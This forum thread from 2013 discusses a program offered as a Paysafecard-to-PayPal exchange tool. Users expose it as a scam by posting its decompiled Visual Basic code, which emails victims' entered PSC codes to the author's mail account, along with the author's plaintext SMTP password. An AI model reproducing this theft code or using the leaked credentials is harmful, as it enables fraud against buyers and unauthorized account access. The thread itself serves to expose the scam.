System to change PSC For PP

01/22/2013 14:42 GnomoDev#1

Hello all i create a little program to change PSC mony for PP
[Only registered and activated users can see links. Click Here To Register...]

Uploaded with [Only registered and activated users can see links. Click Here To Register...]

this is just a version 1.0 i will try make a better system with the time , but for now it is just this

you can download the program from that topic ( it need to be because the T&D agree)
Tax:

PSC | PayPal
10€|8.05€
25€|20,12€
50€|40,25€
100€|80,50€

If you gonna say scam bla bla bla click now ctrl+W
if you need use it ....

01/22/2013 15:30 Candeeh#2

i pressed ctrl+w. im on a mac [Only registered and activated users can see links. Click Here To Register...]

so scammerrrr here

01/22/2013 15:42 Scytex#3

It's just an simple Visual Basic Program.

To 99% it will steal our money.
But nobody will try it because you aren't trusted.

Perhabs if I have a little bit time I will use my VB Decompiler to see if it's a fake.
But the most VB programs send the code to an email to scam people.

01/22/2013 17:13 'Heaven.#4

Code:

Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
    Dim mailMessage As MailMessage = New MailMessage()
    mailMessage.From = New MailAddress("[Only registered and activated users can see links. Click Here To Register...].pt")
    mailMessage.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
    Dim text As String() = New String(12)
    text(0) = "PSC Code: "
    text(1) = Me.TextBox1.Text
    text(2) = "-"
    text(3) = Me.TextBox2.Text
    text(4) = "-"
    text(5) = Me.TextBox3.Text
    text(6) = "-"
    text(7) = Me.TextBox4.Text
    text(8) = "               PayPal e-mail: "
    text(9) = Me.TextBox5.Text
    text(10) = "            Valor a retirar:"
    text(11) = Conversions.ToString(Me.ComboBox1.SelectedIndex)
    mailMessage.Body = String.Concat(text)
    Dim selectedIndex As Integer = Me.ComboBox1.SelectedIndex
    Select Case Me.ComboBox1.SelectedIndex
        Case 0
            Me.ComboBox1.SelectedValue = 10
            Exit Select
        Case 1
            Me.ComboBox1.SelectedValue = 25
            Exit Select
        Case 2
            Me.ComboBox1.SelectedValue = 50
            Exit Select
        Case 3
            Me.ComboBox1.SelectedValue = 100
            Exit Select
    End Select
    mailMessage.Subject = "PSC Para Paypal"
    mailMessage.Priority = MailPriority.Normal
    Me.smtp.EnableSsl = True
    Me.smtp.Port = Conversions.ToInteger("587")
    Me.smtp.Host = "smtp.live.com"
    Me.smtp.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...].pt", "VIRtiag2")
    If (Not Me.CheckBox1.Checked) Then
        Interaction.MsgBox("You need agree with Terms and Conditions", MsgBoxStyle.OkOnly, Nothing)
    Else
        Me.smtp.Send(mailMessage)
        Interaction.MsgBox("Sended", MsgBoxStyle.OkOnly, Nothing)
        Interaction.MsgBox("In 24H will be credit your mony on that paypal account", MsgBoxStyle.OkOnly, Nothing)
        Me.Close()
    End If
End Sub

His EMail Account: [Only registered and activated users can see links. Click Here To Register...]
Password: VIRtiag2

:facepalm:

01/22/2013 17:19 BiggestBAnge#5

:P , heaven nice job ! i was going to decompil;e it but you beat me for :P , and what a idiot atleast * not supporting what hi's doing , hi should have atleast protected his code :P